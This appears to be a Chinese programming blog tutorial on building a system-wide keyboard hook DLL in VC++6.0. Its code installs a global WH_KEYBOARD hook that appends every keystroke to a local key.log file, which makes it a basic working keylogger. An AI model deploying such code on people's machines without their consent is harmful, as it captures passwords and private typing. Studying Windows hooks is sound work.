VC++实现监视系统的键盘操作(2) 创建记录键盘动作的全局钩子DLL

本文介绍如何使用VC++6.0通过全局钩子函数实现键盘记录功能。主要介绍了DLL的三种形式,并展示了如何创建静态连接MFCDLL,重点在于设置键盘监听钩子并记录击键。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC++6.0中有三种形式的MFC DLL可供选择,即
Regular DLL with MFC statically linked(标准静态链接MFC DLL)
Regular DLL using shared MFC DLL(标准动态链接MFC DLL)
MFC Extension DLL(using shared MFC DLL)(扩展MFC DLL)。

我使用的是标准静态连接MFC DLL。
将DLL中的函数导出,有两种方法:
1.在函数声明时使用_declspec(dllexport)
2.在模块定义文件(.def)中进行说明

第二种示例如下:
LIBRARY      "KeyHookDll"
DESCRIPTION  'KeyHookDll Windows Dynamic Link Library'

EXPORTS
    ; Explicit exports can go here
    LoadHook
LoadHook就是定义的导出函数。
我们使用第一种。
创建记录键盘动作的全局钩子DLL
1.新建MFC AppWizard(dll),工程名为KeyHook.
2.在KeyHookDll.h文件中添加以下代码:
#define DllExport _declspec(dllexport)
//声明导出函数
DllExport void WINAPI LoadHook();
3.在KeyHookDll.cpp中添加以下代码:

HHOOK Hook;
LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam);
void KeyLog(char *c);

DllExport void WINAPI LoadHook()
{
	//WH_KEYBOARD:安装一个挂钩处理过程对击键消息进行监控
	Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookKeyBoard,theApp.m_hInstance,0);
}

LRESULT CALLBACK HookKeyBoard(int nCode,WPARAM wParam,LPARAM lParam)
{
	LRESULT Result = CallNextHookEx(Hook,nCode,wParam,lParam);
	if(nCode == HC_ACTION)
	{
		if(lParam & 0x80000000)
		{
			char c[1];
			c[0] = wParam;
			KeyLog(c);
		}
	}
	return Result;
}

void KeyLog(char *c)
{
	CFile file;
	if(!file.Open("key.log",CFile::modeReadWrite))
	{
		file.Open("key.log",CFile::modeCreate | CFile::modeReadWrite);
	}
	file.SeekToEnd();
	file.Write(c,1);
	file.Close();
}


当nCode = HC_ACTION时,参数wParam和lParam包含一个击键消息的信息
wParam:产生此击键消息的虚拟键代码
lParam:记录了按键的重复次数、扫描码、转移代码、先前键的状态等信息。此参数可以是以下值的组合值:
0-15位:记录用户摁键引发的重复次数。
16-23位:扫描码,依赖于键盘生产厂家。
24位:指示此键是否为扩展键,如功能键或数字小键盘上的键,当该键为扩展键时,其值为1.
25-28位:保留
29位:上下文代码,若Alt键被摁下,则其值为1
30位:指示此前的键状态,若在此消息被发送之前该键是被摁下的,其值为1
31位:指示变化状态,若此键正在被摁下,则其值为0

挂钩处理过程被置于不同的具有一定挂钩类型的挂钩链中,函数CallNextHookEx调用该链中的下一个挂钩。对函数CallNextHookEx调用是可选的,但极力推荐使用。否则,其他安装了挂钩的应用程序将无法收到挂钩通知,由此可能产生错误的行为。除非你确实需要使其他程序不能获得此挂钩通知。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值